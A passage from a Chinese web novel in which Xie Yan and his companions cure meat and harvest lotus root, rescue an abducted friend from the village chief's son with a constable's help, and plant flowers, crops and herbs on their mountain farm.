一处不敢挂太多肉,因为肉一熏要滴油,肉多了滴的油多了怕火势太多控制不住。
谢言挂完了肉,其他的棚子还没有建起来,趁这个时间谢言去山上砍了许多木姜子树,木姜子树有一种特殊的香气,熏出来的腊肉更好吃。
谢言来来回回的跑了好几趟,砍了十几颗木姜子树,在一一剔好方便烧。
等沈念白他们喂完鸡和猪,谢言就喊他们一起灌香肠,几个人一起切肉。切了满满一大锅又加两个大盆,王大娘负责调味,没有辣椒,只有花椒和盐,但味道也好。
香肠灌了整整一个下午,直到晚上才全部灌好。棚子也全部搭好了,大家一起分着将肉和香肠挂到棚子里,今天晚上就可以熏了。
吃完了晚饭,就开始熏腊肉香肠了,用开荒挖出来的树桩搭配着木姜子树熏,一个树桩可以燃好几天,只需要偶尔去看看就行了。
第二天宋明笙的选址也确定了,在池塘那边,离谢言的家大概几百米。谢言跟沈念白商量了一番,沈念白跟宋家人相处得挺好,他没有意见,谢言也就没有意见。
宋明笙这边急着画图纸,谢言趁着这个时间将池塘的水放了开始挖藕。
池塘的水深,光是放水都放了一天,放完水天都黑了,只有等明天早上开挖了。
有事干,大家第二天早早就起来了,包括谢言。
吃了早饭在谢言的带领下一群人就下了塘,天寒地冻的,脚踩在稀泥里瞬间就冻得没了知觉,挖着挖着热火劲就上来了。
挖了一个多时辰,池塘挖了一半,谢言突然听见了马蹄声,他从泥地里抬起头看向沈念白,“有人来了?”
沈念白回头一看,连忙道:“是张哥来了。”
一听张佳华来了,谢言赶紧从池塘里上了岸,沈念白已经迎了上去,谢言从池塘里上来身上全是稀泥,张佳华看见了,与他玩笑道:“这么冷,谢老板还亲自下地啊?”
谢言笑了笑,“这么冷,二掌柜都亲自来拉货了我岂敢怠慢。”
张佳华笑道:“不愧是当老板的人了,说话是不一样了。”
谢言道:“张哥这是笑话我了。张哥,你先进屋坐会儿,我去洗洗。”
谢言裤腿挽得老高,说话的这点功夫,皮肤都冻红了,张佳华也没有过多的寒暄,“快去吧,我在这儿看看挖藕。”
谢言道:“行,那张哥你自便。”
谢言说完就进了屋,沈念白给他准备了热水,将身上洗干净换了身衣服。
谢言刚准备出去张佳华就搓着手进来了,嘴里说道:“这个天真是冷得很。”
谢言接了话道:“是啊,一下雪就冷得不行。旁边的竹屋烧了火熏肉,要热火些,张哥要不去那边坐坐?”
张佳华毫不犹豫的说道:“走。”同时说道,“你让人把藕给洗干净,我装干净的走。”
沈念白道:“我去说,你们去竹屋休息休息。”
谢言应声,“行。”
一走进竹屋就暖呼呼的,只不过烟有些多,稍微有点呛,不过比起冷已经好多了,张佳华道:“真是暖和。”
两人坐下后,谢言看着旁边放着的生红薯,问了张佳华,“张哥,吃不吃烤红薯?我给你掏一个尝尝。”
熏肉的这段时间,烤红薯成标配了,大家都喜欢吃烤红薯,所以王大娘在每个火堆里都埋了红薯,烤好了就出去分,红薯少了不够分,大家还拍了号的。
谢言掏了一个红薯,灰扑扑的,拿着烫手,谢言将红薯递给了张佳华,“来,张哥,烤红薯就是要趁热吃。”
张佳华接了过去,谢言又掏了一个放在旁边,然后拿了两个生红薯放进了火里,用灰埋了起来。
两个吃着红薯闲聊,张佳华抬头看着头顶上的腊肉,表面一层黑,时不时又油滴到火里,噼啪响,张佳华道:“这肉熏好了吧?”
谢言回道:“嗯,今天中午取一块炒来吃吃,看味道如何。”
张佳华笑道:“那我今天有口福了。”
谢言笑道:“张哥要是喜欢,随时来吃。”
张佳华摆手道:“算了算了,这么冷的天我宁愿在家里待着,不吃肉都行。”说完又道,“这应该是我这个冬天来的最后一次了,下一次肯定要开春了才来了。”
谢言道:“开春晚点来,地里没货,不然白跑一趟。”
张佳华笑道:“晚不了,掌柜的昨天还说开春了要来你这儿看看情况呢。”
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钟程台投了那么多钱,理应来看的,谢言回道:“那敢情好,让钟大哥给我指点指点。”
两人闲聊了好一会儿,每人吃了两个烤红薯,张佳华饭量不大,所以吃午饭的时候本来吃不下的,但是看到晶莹剔透又喷香的腊肉又没忍住,一连吃了两碗饭,撑得站都站不起来,为了消食他还亲自去装了货。
装完货,谢言将张佳华送走了。
挖出来的藕张佳华装走了一半,剩下的一半没洗堆在院子里,不过为了怕烂,这段时间肯定天天顿顿都有莲藕了。
谢言这边基本没什么事了,宋明笙那边就开始建房子了,宋明笙什么都没有,木材和石材都是从谢言这儿买的,本来谢言说不收钱,但拗不过宋明笙非要给,所以谢言没事的时候也会过去帮忙,而沈念白则每天忙着编栅栏,准备在过年之前将二山的栅栏全部增高。
日子一天天过去,在正月十五这天,宋明笙家的房子也建好了,虽然没有赶在年前建好,但宋明笙也已经很满意了,于是在房子建好的当天就迫不及待的带着孩子回村里收拾行李准备搬家了。
为了少跑路,除了谢言,沈念白,柳梦寒和王大娘没有去,其他人都去了。
为了庆祝宋明笙搬新家,在谢言的提醒下,四人早早就开始做午饭了。午饭赶在午时之前就做好了,但一直没有等到人回来,眼看未时都快过了,谢言几人实在饿得不行了,就先吃了。
吃完饭,还没见人回来,谢言不大放心,“我去看看。”
结果刚走出去几百米就看见了匆匆跑回来的许承志,许承志看见谢言急急的喊了声,“谢大哥,不好了。”
谢言急问道:“怎么了?”
许承志三步并作两步跑到谢言面前,寒冷的天但他脸上全是汗,他道:“吴天宝带人把宋绥安抓走了。”
谢言一听就皱了眉,一来他没有想到这个吴天宝这么大胆,大白天的就敢抓人,二来他没有想到,他们此去这么多人都没有拦住吴天宝。
既然这么多人都拦不住吴天宝,那谢言现在赶过去肯定也起不到什么作用,于是他冷静下来问道:“你慢慢说,到底怎么回事?”
许承志说了起来。
他们去搬家,一直到收拾完东西都很顺利,但就在他们搬着行李往回走的时候,还没出村子,吴天宝突然带着人冲出来,直直的奔着宋绥安将人给围了起来。因为他们每个人手里都拿着很多东西,怕摔烂了只能先放东西,等他们放好东西,吴天宝已经把宋绥安给掳走了,他们赶紧追上去追到了村长家。
村长家的门开着,村长在院子里坐着,许承志他们害怕,不敢进去,只有宋明笙他们一家人冲了进去。
许承志知道宋明笙他们肯定救不出来人,这才赶紧回来找谢言求救。
“谢大哥,你一定要救救他们。”
谢言想了想,村长在村子里势力大,他一个人去不仅没用,说不定还要把自己折进去,于是转身就回去了。
80.第 80 章
谢言回屋将这事跟王大娘说了,“大娘,这事恐怕只有去报官才能行了。”
王大娘自然明白他的意思,她道:“抢人犯法,官府不会坐视不管的。”
谢言与许承志说道:“承志,你去报官,我先去村里看看情况。”
许承志也担心宋家人出事,谢言能先去看看肯定是好的,于是他点头应道:“好。”
王大娘闻言也知道谢言为什么要来跟她说了,她跟宋家相处几个月,感情也深厚,于是拿出一块手帕交给许承志,“你去县衙直接找王耀生,千万别耽搁了。”
“行,我这就去了。”许承志拿了帕子急匆匆的往县城跑去,谢言要去小叶子村,沈念白不放心,“我跟你一起去吧。”
谢言摇头,“人去多了用处不大,你在家里照顾大娘。”
想到许承志他们去了那么多人,还是让人把人给抓走了,沈念白又顾忌沈家人,于是也没有坚持,只是叮嘱道:“那你小心些。”
谢言回道:“我会的,你放心吧。”
谢言说完急匆匆的就去了小叶子村。
来到小叶子村村长家,大家都垂着头一脸沉重的在门口坐着,听到声音抬头看到谢言,顿时像找到了主心骨一般,全都站起来围了过来,“谢大哥。”“谢大哥。”
谢言问道:“里面有什么动静没有?”
“没听到什么动静。”
谢言点了头,抬脚就要往村长家去,但被拦下来,有人提醒道:“谢大哥,你进去可就是得罪村长了。”
谢言反问道:“得罪了又怎么呢?”
众人听到他的话顿了一会儿,现在王大娘还在灵秀山住着,就算得罪了村长又能怎么呢?于是他们纷纷改了口,“谢大哥,我们跟你进去。”
在谢言的带领下,一行人气势汹汹的进了村长的家,村长正坐在门口的摇椅上打瞌睡,听到声音睁开眼看到一行人闯了进来,神色非常难看,他看着谢言冷声道:“你就是谢言?”
谢言回道:“是,我就是谢言。你儿子抢了我朋友,马上把人给我交出来。”
村长站了起来,“我儿子看上他是他的福气,一帮为非作歹的小子,敢闯我的门,真以为翅膀硬了,全部给我滚出去。”
谢言也不跟他多说,只冷声喝道:“把人给我交出来。”
谢言长得人高马大的,声音又大,他一吼身后的十几个人都一起吼,声音大得村长脸都绿了,指着谢言身后的一帮人说道:“你们是翻了天了,敢跟我吼了,信不信我马上把你们爹娘喊来教训你们。”
他一说这话,众人都有些怵了,毕竟孝道大于天,有人低声说道:“谢大哥,要不..”
一听他的语气,谢言就知道他要说什么,开口阻住了他的话,“你交给是不交,你要是不交,为了我朋友的人身安全,我就要进屋去救人了。”
村长大眼一瞪,“你敢。”
仅凭几句话,谢言就知道想要他们交人肯定是不可能了,为了防止宋家人受伤害,谢言也不在跟他说话,径直往屋内去,并且大声喊道:“宋师傅,宋绥安。”“宋师傅。”“宋绥安。”
村长忙起身拦他,“滚出去,你在敢往里走,我就打死你。”
谢言垂眸冷冷的看着他,“那你试试。”
“宋师傅。”“宋绥安。”
谢言依然往里走,村长朝院子里站着的众人大骂了一声,“你们还愣着干什么,还不快拦住他,不然等会我就让你们爹娘来收拾你们。”
众人看着村长又看了谢言,都没有动,村长又骂了,“傻了啊,听不懂人话了?”
过了好一会儿,才有人说道:“村长,抢人是不对的。”
村长听到这话,顿时跳脚大骂,“反了天了。”
此时二楼突然传来‘咚’的一声大响,谢言听到声音推开挡在面前的村长就往二楼跑去,村长被他推得一个跄踉,他大骂了一声,追着谢言上了二楼,“站住。”
因为今天村长的媳妇带着家里的其他人回娘家去了,所以谢言很顺利的循着声踹开了二楼的一间房。入目就看到宋绥安被绑在床上,衣衫不整,一个丑胖的男人低着头去亲他,但宋绥安左右躲着,并没有亲到。
宋绥安看到谢言,他的嘴巴被绑住了,只能急迫的朝谢言“呜呜呜呜”的喊。吴天宝听到声音要回头,但他还没来得及就被谢言一脚踹到地上了。
吴天宝哀嚎了一声,怒气冲冲的问道:“你谁啊?”
谢言没有回答,而是赶紧上前给宋绥安身上的绳子的给解了。
村长冲上来看到吴天宝在地上坐着,赶紧过去关切的问道:“儿啊,你没事吧?”
吴天宝捂着腰指着谢言不满的问道:“这人谁啊?”
村长没好气的回道:“谢家不要的那个野孩子。”
吴天宝脱口而出,“他就是谢言?”
此时谢言已经将宋绥安身上的绳子解开了,低声问道:“还好吧?”
宋绥安快速的将衣服穿好,低着头回了声,“还好。”
谢言又问道:“你知道你爹他们在什么地方吗?”
宋绥安摇头,随即紧紧的抓住了谢言的袖子,“谢言哥,你一定要救救我爹和我弟弟他们。”
谢言低声安抚,“放心吧。”
谢言看向村长,村长扶着吴天宝站了起来,吴天宝指着谢言,“谢言,你敢打我,我要你给我跪下给我赔罪。”
谢言冷冷的翻了个白眼,问道:“宋家其他人在哪儿?”
村长冷哼了一声,“你以为小叶子村没人了,敢在我家行凶打人。”说着走到窗边大声喊,“来人,快来人。”
今年是大年,大家都在走亲戚,各个都在家里烤火,听到声音很快就围了过来。
谢言带着宋绥安来到楼下院子里,村长和吴天宝也在院子里,加上围过来的村民,很快就将院子挤满了。
村长见人都来得差不多了,只是谢家的人没有来,于是叫了人去喊。
灵秀山来的人都有家里人过来,听了村长义正言辞的控诉,各个都开始骂起自家的人来,一时间整个院子骂声震天,谢言都震惊于竟能骂得如此肮
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脏。
宋绥安不安的拉着谢言的袖子,低声问道:“谢言哥,我们现在怎么办啊?”
谢言回了他一个字,“等。”
“等?”宋绥安不明白他葫芦里卖的什么药,他只是担心他家人,所以下意识的质疑出声。
谢言没有过多的解释,现在这么多人,这些人肯定是帮村长的,他能做的就是等王捕头来,至于他能静心等,也是因为现在所有的人都在院子里,也表明宋明笙他们只是被关了起来,并没有受到伤害。
局势一边倒的倾向村长,吴天宝昂胸抬头走到谢言面前,“怎么样,怕了吧?你现在跪下叫我声爷爷,把我哄高兴了,我就放过你。”
谢言看着他,“我可以叫,但是还差个人见证,等他来了,你要我做什么都行。”
王捕头赶过来还要一段时间,谢言现在必须稳住吴天宝。
吴天宝听到他的话还以为他说的是谢家人,“谢家人马上就过来了,我就等着你这一声爷爷。”
能拖则拖,谢言也不说话了。
等了一会儿,谢家人来了,来的还是老熟人,谢复朝和谢逐杨,按谢家的辈分来算,这两是谢言的大伯和大堂哥。
他俩一来就被院子里的景象惊呆了,这么多人一起骂骂咧咧的跟蝉叫还厉害。吴天宝招呼他们上前,“诶,谢大伯,谢哥,快过来。”
谢复朝和谢逐杨来之前就听说了是谢言在村长家闹事,又想起他们之前去领秀山滚下山崖摔断了腿,养了小半年这才堪堪好了,现在看到谢言更是一肚子怨气,没好气的说道:“你怎么到处闯祸?”
谢言尝试与他们讲道理,“是吴天宝在路上强抢了我朋友,我是来救人的。”
谢复朝语气强硬的打断了他的话,“你在荒山里被野狼养大懂什么叫抢,这只是年轻人的乐趣,闹着玩而已,你跟着掺和什么,还要我们还来给你善后。”
“即便我是被野狼养大的,我也知道什么叫抢。”谢言没有说得太难看,毕竟他现在势单力薄不是跟他们大起冲突的时候。
“你知道个屁,你个野狼养大的小崽子,知道什么叫情投意合,打情骂俏吗?”谢复朝越说越来劲,一顿噼里啪啦说得谢言连插话的机会都没有。
谢言扫过谢逐杨的脸,见他脸上没有丝毫不同意的意思,就知道这两人根本没救了,于是他也打消了要跟两人讲道理的想法。
吴天宝见谢言不说话了,还以为他是怕了谢复朝,趾高气扬的朝谢言说道:“跪吧。”
谢言回道:“不好意思,我等的人还没有来。”
吴天宝一听就急了,“你耍我,你在小叶子村除了谢家,还认得谁啊?拖三拖四的,我告诉你,谢言,现在我就是弄死你,都没人会多说一句。”
谢言十分诚恳的点头说道:“我知道,但是我真的要等人,只要我等到了他,你要什么怎么都行。”
听着不错,吴天宝不耐烦的问道:“那你说你等的人是谁?”
话音一落,就听门外一道高亢有力的声音响了起来。
“是我。”
81.第 81 章
一听到王捕头的声音,谢言提着的心瞬间落了下去,同时又疑惑王捕头怎么来得这么快?
村里的人并不是王捕头,只是见他威风凛凛的非常有气势,尤其是腰间还配了一把大刀,下意识地都有点怕,纷纷往后退开,给他让出了一条路。
吴天宝看到他,皱着眉问道:“你谁啊?”
王捕头大步流星地走到他面前,习惯性地拿出腰牌展示在吴天宝面前,“县衙捕头王耀生。接到报案说你们这儿发生了一起恶性的抢人事件,村长是哪个?”
吴天宝一听眉头就开始跳,“捕头?”
王捕头道:“不信就跟我去县衙验证。”
吴天宝年轻没见过世面,但村长见过,他连忙拉开吴天宝与王捕头说道:“捕头大人,这都是误会,两个年轻人闹着玩呢,没有什么抢人不抢人的,这不是过年嘛,闹闹开心。”
王捕头看向了谢言,谢言说道:“捕头大人,他们就是强抢民男,我朋友不仅受了伤,他的家人现在还在村长家里关着呢。”
宋绥安连忙指着村长说道:“是,我爹他们被他们关起来了,是生是死都不知道。”他说着就哭了起来,“捕头大人,你一定要为我们做主啊。”
宋绥安拉着谢言的手一松,就要给王捕头跪下去,王捕头连忙扶起了他,随即看向了村长质问道:“你还关了其他人?”
村长连忙摆手,“没有没有,他乱说的。”
王捕头手指扫过院子的人,“这些都是你的帮凶?”
院子里的人一听连忙往后退,同时否认道:“不是不是,我们只是听到声音来看热闹的。”
王捕头问道:“看清楚是什么热闹了吗?”
王捕头长得凶,眉头一竖眼一瞪,加上他捕头的身份,吓得众人都不敢说话。王捕头见状说道:“知道内情的留下,其他人都散了。”
听到王捕头的话,众人纷纷往外走,包括谢家的人也急急往外走。村长连声大喊,“诶,你们别走啊。”
听到他的话众人走得更快了,一眨眼人都走完了,没了村民,村长也心虚了,他在村子里耀武扬威,但在捕头面前还是不敢托大,他连忙辩解道:“我没关,真就是开玩笑闹着玩的。”
谢言问道:“人在哪里?”
村长道:“在这边。”
宋明笙一家人被关在柴房里,嘴里塞着布,太用力挣扎嘴角都磨破了,鲜血顺着嘴角往下淌,看着吓人得很。
谢言和宋绥安连忙上前给三人松了绑。
村长上前说道:“开个玩笑,你们还当真了,还惊动了官府,这大过年的,还让官爷这么远跑一趟。”
“身为官府的人,保一方平安是我分内之则。”王捕头说完看向宋明笙,“这件事到底是怎么回事?”
宋明笙指着吴天宝说道:“是他绑架了我儿子,我们来找他要人,却被他们找人打了一顿关了起来。”
村长一脸无语,“你怎么还是这么爱较真,都说了是开玩笑,都是一个村的,抬头不见低头见,你真要撕破脸皮?”
宋明笙沉着脸,“是你先撕破脸皮的。”
王捕头见谈不拢,直接说道:“今天过大年,明天你们两家来县衙当堂对峙,我会将此事如实禀报县令大人,县令大人自有决断。”
村长一听要去县衙也慌了,连忙说道:“别啊,大人,这点事用不着惊动县太爷。”
王捕头道:“当街抢人,擅自囚禁他人,这可不算小事。”
村长道:“这事虽然是我们不对,但我们只是想开个玩笑而已,大不了我们赔点钱好了。”
王捕头道:“你跟我说没用,要看受害人接不接受。”
村长又转头跟宋明笙说了起来,“宋明笙,你在村子里这么多年我没少照顾你,要不是我你早就被赶出去了,天宝只不过是喜欢你儿子,本来你把儿子嫁给他就没有那么多事了,现在搞出这么多事来。我赔你点钱,这事就算了了,要是不愿意,咱俩只有去公堂上说去了,到时候全县城的人都知道你家那点破事了。”
宋明笙垂着眸,脸色淡淡的看不出来神色,他冷冷的回道:“我不要你的钱,你们以后别再来惹我们就行了。”
村长一副早就料到会是这种结果的表情,“村里的哥儿多得很,想嫁进我们吴家的更多,以后就是你求着要将儿子嫁进来我也不会同意的。”
宋明笙道:“你大可放心,我儿子就算一辈子不嫁人也不会踏进你吴家一步。”
王捕头看向宋明笙,“虽然你今天不追究,但你永远有追究的权利。”
村长听到这话脸都绿了,偏偏还不敢说什么。
从村长家出来,灵秀山的所有人都外面抱着宋明笙家的行李等着,谢言看见一时还有点惊讶,他还以为他们全都走了。
见到谢言出来,他们全都围了上来,脸上十分内疚,“对不起,谢大哥,我们没有帮上忙。”
谢言也理解他们,他们跟他不一样,都是土生土长的小叶子村人,家人都在这里,虽然跟家里闹了矛盾,但刻在骨子里的孝道是不会变的。退一万步说,他们只是在给他打工赚钱而已,又不是什么组织,他们帮不帮忙都很正常。
谢言道:“你们没有对不起我,不用跟我说对不起。”
他们又去跟宋明笙道歉,“宋师傅,抱歉,我们没有帮上忙。”
谢言没有听他们说话,而是与王捕头说起话来,他问道:“王大哥,你怎么来得这么快?”
王捕头回道:“来跟我娘一起过大年。”
谢言问道:“路通了?”
年前下了大雪,路都被雪埋起来了,所以过年王捕头都没有来。
王捕头回道:“没有,但是雪化了一些了,勉强能认路。”
一行人说着话回到了灵秀山,沈念白在院子里站着,看到他们回来,回头喊了一声,“回来了。”说完就急急迎了上来。
“王大哥,谢言哥。”
谢言问道:“王大娘呢?”
话音一落,
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王大娘就从竹屋里出来了,王捕头一看到人就走了过去,“娘。”
宋明笙指挥着人往里放东西,沈念白和柳梦寒拉着谢言到屋里去低声问道:“怎么宋师傅他们还受伤了?”
谢言回道:“被绑起来了,挣扎的时候磨破了。”
沈念白关切的问道:“那他们没事吧?”
谢言回道:“去的及时,就受了些皮外伤。”
听到他的话,沈念白和柳梦寒都松了口气,柳梦寒约着沈念白,“咱们去喊他们吃饭吧。”
谢言这才想起来,王捕头应该还没吃饭,于是他道:“我去喊王大哥吃饭。”
沈念白应道:“嗯。”
谢言来到竹屋,腊肉已经熏好在旁边挂着了,但天还是冷得很,王大娘还是每天都在这儿烧火,大家没事的时候都会来这儿烤火。
王捕头正在吃红薯,谢言喊了他一声,“王大哥,过去吃点便饭吧。”
王捕头回道:“我吃红薯就行了,晚上在吃吧。”
谢言回道:“行,饭随时都有,饿了过去吃就是。”
王捕头道:“嗯,你忙去吧,不用管我了。”
这话说得很明显了,谢言也没有多耽误他们母子说话,应了一声就出去关上了门。
今天是大年,王捕头又来了,于是谢言从竹屋出来过后,就喊上沈念白和柳梦寒开始准备晚饭了。
沈念白抓鸡,柳梦寒抓兔子,谢言抓鱼。池塘的水放了,鱼现在全都养河里了,现在这天太冷了,没人愿意碰水,要吃鱼都是谢言去抓,虽然拿了抄网去,但不可避免的还是会沾到水。
谢言抓了十五条鱼,浑身都快湿透了,正准备回去的时候沈念白就来了,与他说道:“谢言哥,你回去换衣服,我来杀鱼。”
衣服打湿了风一吹冰得人发抖,谢言应声,“我换了衣服在过来。”说完就跑着回家去了。
换了身干净衣服谢言又去了河边,就这点功夫沈念白已经处理干净五条鱼了。沈念白看他过来,与他说道:“你别来弄了,我手反正弄脏了一会儿就弄完了。”
谢言笑着在他身边蹲了下来,“手弄脏了洗了就是,这么冷早点处理完就一起回去烤火。”
沈念白也笑道:“你是想喊我跟你一起升火吧。”
谢言回道:“那你跟我一起升吗?”
沈念白跟他玩笑道:“你猜。”
两人说说笑笑的就把鱼处理完了,谢言提着满满一大桶往回走。
刚一到家柳梦寒就在喊,“念白,你过来看看,这些腊肉够不够?”
沈念白应了一声,“来了。”说完与谢言说道,“我过去看看,你先升火。”
谢言道:“嗯,今天大家都饿了,多煮点。”
“好。”
鸡和腊排骨用来炖,鱼就用烤的,烤好过后在在加上一些干炒的配菜,简单的复刻现代的烤鱼。过年的时候谢言的尝试着做了一次,虽然比不上现代的味道好,但是比光烤鱼还是好吃得多。
82.第 82 章
烤鱼的火要大,没办法在屋里烤,只能在院子里烤。谢言刚把柴摆好,沈念白就取了火石过来了,谢言见他就笑,“这么快?”
沈念白回道:“说了一起升火的。”
谢言心里高兴,脸上笑容更甚了,他朝沈念白说道:“来点上吧。”
火石放在干草上,干草就冒出了白烟,一眨眼就燃起来了,谢言道:“你看火,我去码鱼。”
沈念白应了一声,“嗯。”
谢言提着桶进了堂屋,柳梦寒已经把鸡跟兔子处理好了,他问道:“火升起来了吗?”
谢言回道:“升起来。”
柳梦寒提着鸡和兔子就出去了,谢言看了眼桶里取下来的腊排骨、腊肉、香肠,还有肝,东西不少明天都够吃了。
谢言将鱼一条一条的码好味,没有辣椒就是盐和花椒,仔细的码好后用竹签子串起来就可以烤了。
谢言提着鱼出去看到柳梦寒在跟沈念白说话,见他出来这才提着烤好的鸡和兔子往堂屋里去。
谢言看得有点纳闷,等柳梦寒进了屋后问了沈念白,“你俩说什么呢?怎么还背着我?”
沈念白回道:“随便聊了聊,没有背你啊。”
谢言道:“那怎么我一出来你们就不聊了?”
沈念白回道:“要做饭啊。”
谢言道:“忙着做饭还聊天?”
沈念白笑道:“灶台就那么大,梦寒怕挤着你,所以等你弄完了才进去。”
“哦。”
两人一起将鱼插在地上烤着,沈念白道:“我进去给梦寒帮忙了,谢言哥,你看火。”
谢言应声,“好。”
外面虽然冷,但是坐在火堆旁还好,谢言拿了一个椅子来靠着坐着,烤着火暖呼呼的让人有些晕晕欲睡,谢言闭着眼睛眯了一会儿,等沈念白来喊他的时候,他睁开眼睛一看天都已经黑了。
谢言猛地坐了起来,“这么晚了。”
沈念白道:“还好,不算很晚。”
谢言扫到地上的鱼没有了,“鱼呢?”
沈念白回道:“我刚收进去了,你去炒菜吧。”
因为烤鱼这道菜沈念白和柳梦寒都还没有学会,所以才会来喊谢言去做。
谢言抹了一把脸,起身进了屋。灶上什么都准备齐全了,谢言上去就开始干,将猪油放在锅里,放入调料,唯一可惜的是没有辣椒,今年一定要多种辣椒。
调料用油炒香,然后将配菜放在锅里炒,香味被激发出来,尤其是洋葱,又香又呛,让人直打喷嚏又忍不住想闻。见配菜炒好后,盛出来放在装鱼的盘子里,一道简配版的烤鱼就成了。
才刚炒好,王捕头和王大娘就进来了,王捕头进门就夸,“我在隔壁屋就闻到好香,这做的什么啊?”
谢言回道:“自己瞎捉摸的烤鱼,刚做好。烤鱼就要趁热吃,快来坐。”
柳梦寒道:“我去叫人。”
谢言几人先坐下了,很快大家都来了,在一块久了,坐哪个位置都固定下来,一来就都落了坐。为了感谢王捕头,宋家人特意跟王捕头坐的一桌。
席间柳梦寒将他酿的米酒也拿了出来,谢言给王捕头倒酒,王捕头象征性推拒道:“我一会儿还回去,就不喝酒了。”
谢言劝道:“这么黑的天走山路多不安全,走忙也得明天早上走。这酒度数不高,纯纯喝个味。”
王捕头这才点头,“行,那就尝尝。”
其他桌都没有人说话,只有谢言他们这一桌推杯换盏,话就没停过,谢言和王捕头喝多了,谢言连怎么回房的都忘记了。
第二天谢言睡到日上三竿才起来,王捕头已经走了,走之前给谢言留了话,有事随时去找他。
由于谢言的错误估计,头天晚上剩了很多的菜,吃了三天才勉强吃完。谢言自己都吃腻了,但他又不好说,只能装做没有腻。
日子过得很快,正月一过就是春分,山上的积雪化完了,又可以上山干活了。开荒的继续开荒,地里也开始翻土准备春播了,二山也得把种花的地开出来,灵秀山又开始忙碌了起来。
宋家人去翻菜地,谢言和沈念白一起把二山种花的地给整出来,没有种的地,地下杂草和野菜的根非常多,要翻土把这些根大概得都挑起来集中烧掉,不然过段时间长起来了,每天光扯草都扯不过来。
花基本都是春天种,又是消耗品,所需非常多,谢言和沈念白两个人干了一天,觉得两个人的动作太慢了,拖下去时间都来不及了,于是谢言让所有人一起来干了两天,效率瞬间就拉了上去,两天就整理出来了十来亩地,今年应该是够了。
地翻好了,就开始种花了,谢言从系统商城里买了几十种月季、几种绣球、茉莉、栀子、牡丹、芍药、蝴蝶兰、百合、风铃草、各种菊花、毛地黄、海棠、大花蕙兰、香雪球、蜀葵、大丽花、洋桔梗、绿毛球、腊梅、红梅、剑兰、墨兰、寒兰每一样都买了十根苗,谢言对插花不懂,能看上的全都买了个遍。
沈念白对于他凭空变物的本领虽然见怪不怪,但乍一看这么多种花苗,一时间还是觉得非常惊讶的,不过他虽然好奇却并没有问,他明白有些事情是秘密,再亲密的人也不能说的。
系统的花苗都是经过现代培育过的,所以即便沈念白在天悦酒楼跟花打了一段时间的交道,但很多花苗他都不认识,只能问谢言。
“谢言哥,这些说什么花苗啊?”
谢言只有在系统商城里买的时候知道是什么,现在没有标名字了,他也分不清楚了,“我也搞不清楚,反正随便种吧。分开点种,有些品种应该是多年生的,种一次能管几年。”
沈念白应声,“好。”
种花的事交给沈念白,谢言就去山上忙了,他将割牛草的活交给了宋明笙,自己则开始种菜。
沈念白最先种下的是那颗从山上挖来的宋梅。说来也怪,同样是种在盆里,谢言一天浇三次水都养不好,但沈念白一回来,就长得绿油油的,生机盎然的。
沈念白选了个最好的位置将宋梅栽了下来,风一吹,细长的叶子随风摇摆。沈念白蹲着拨弄着叶子,“从今以后,这就是你的家了。”
日子一天天过
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去,光秃秃的地里以飞快速度变绿,种菜不能耽搁,谢言和沈念白每天天一亮就上山,天黑才回,连饭都没有时间回去吃,都是柳梦寒给送到地里吃。
两人这种高强度的种法,没几天就种完了。谢言又开始种果树,果树种完了。谢言又重新打起了在三山喂猪的念头。
谢言将这事跟沈念白搜了,沈念白到是没什么意见,就是要喂猪肯定要把山给拦起来,猪不比得鸡,编栅栏就能拦住,要拦猪肯定要更结实才行。
谢言觉得他说得很有道理,但是一整座山拦起来太费劲了,于是想了想还是决定只圈一块来养,即便圈大一点也比圈整座山省功夫。
于是谢言跟许承志他们说,让他们把开荒砍下来的小树全部放好,用来圈猪圈。
许承志他们应了声,“行。”
没几天,许承志突然急急忙忙的找到谢言,“谢大哥,挖到好东西了。”
谢言正在给果树浇水,听到他的话问道:“什么好东西?”
许承志回道:“人参。”
闻言谢言的眼睛也亮了,忙问道:“挖起来了?”
许承志摇头,“没呢。我想着先来跟你说一声。”
谢言水也不浇了,“带我去看看。”
“走。”
谢言跟着许承志来到山上,此时所有人都在围着看,见到谢言过来给他让出了一条路,“谢大哥,就在这儿。”
谢言过去看了,看树根就知道很有些年份了,谢言也没想到山上竟然会有这种好东西。
许承志在旁边问道:“谢大哥,挖吗?”
谢言本不想挖,许承志见他犹豫就知道他并不想挖,他提醒道:“谢大哥,我听说这种上了年份的人参已经成精了,还会跑呢。”
其他人也附和道:“是啊,老人都这样说。”
谢言倒不相信人参会跑,只是现在这山在开荒,每天不是砍树就是割草,万一伤到了也不好,于是他说:“行,挖起来看看。”
得了谢言的话,许承志就开始挖了,往下挖了半米才将整根人参挖了出来。整根人参有谢言的小臂那么长,跟谢言的拳头一样粗,是个值钱的好宝贝。
谢言将人参拿到河边洗干净后,用绳子拴住二楼的阳台上风干,他看着还在滴水的人参脑子突然闪现一个想法,种菜,种花,他也可以种人参黄芪之类的药材啊。
说干就干,在沈奶奶白的花地旁边谢言又开了一小块地,因为他不知道天悦酒楼卖不卖药材,于是只种了最简单的几种,黄芪、党参、柴胡、金银花、板蓝根、人参。就算天悦酒楼不卖药材,黄芪党参用来炖鸡也可以,柴胡,金银花,板蓝根夏天自己熬水来喝也行,而人参则可以送人。
由于是第一次种,谢言没有种多少,按照以前的习惯,每样只种了十颗先试水。
灵秀山一派生机勃勃,二山的鸡已经孵了小鸡崽,一眼望过去黄橙橙一片,走近了就能听到小鸡崽‘叽叽叽叽’的叫声,多得谢言已经估算不了量了。鸡多了,每天要吃的鸡食就多了,沈念白和柳梦寒每天光喂鸡都要花两个时辰。
83.第 83 章
这天早上谢言起床站在院前望山就觉得不对劲了,树苗好像是少了,但早上雾气蒙蒙的,他看得不是特别清楚,于是赶紧上山去验证。
树苗就是不见了,原地只留下一个个大坑,谢言粗略数了数,少说也有百棵苗子不见了。
谢言赶紧回来,彼时大家正在吃早饭,柳梦寒见谢言一脸急色,脚步也急匆匆的,忙问道:“谢言哥,你怎么了?”
谢言回道:“新栽的树苗不见了。”
一听这话众人惊讶得连饭都不吃了,赶紧问道:“怎么会呢?”
谢言道:“我刚刚去看过了,硬扯的。”
才刚栽下去的苗子,一扯就扯起来了。
大家听了他的话都去山上看了,果然是扯出来的,扯的跟挖的完全不一样,尤其是种地的,一眼就看出来了。
但问题是,这荒山野岭的谁会来偷树苗呢?
谢言问道:“昨天晚上谁有听到异常的声音吗?”
柳梦寒回道:“昨天晚上我听到饼大饼二一家叫了一阵,但我也没有多想。”
之前冬天的时候怕饼大饼二一家冷,于是谢言给它们做了一个大狼窝,晚上怕进风,晚上都是从外面关上的,狼出不来。
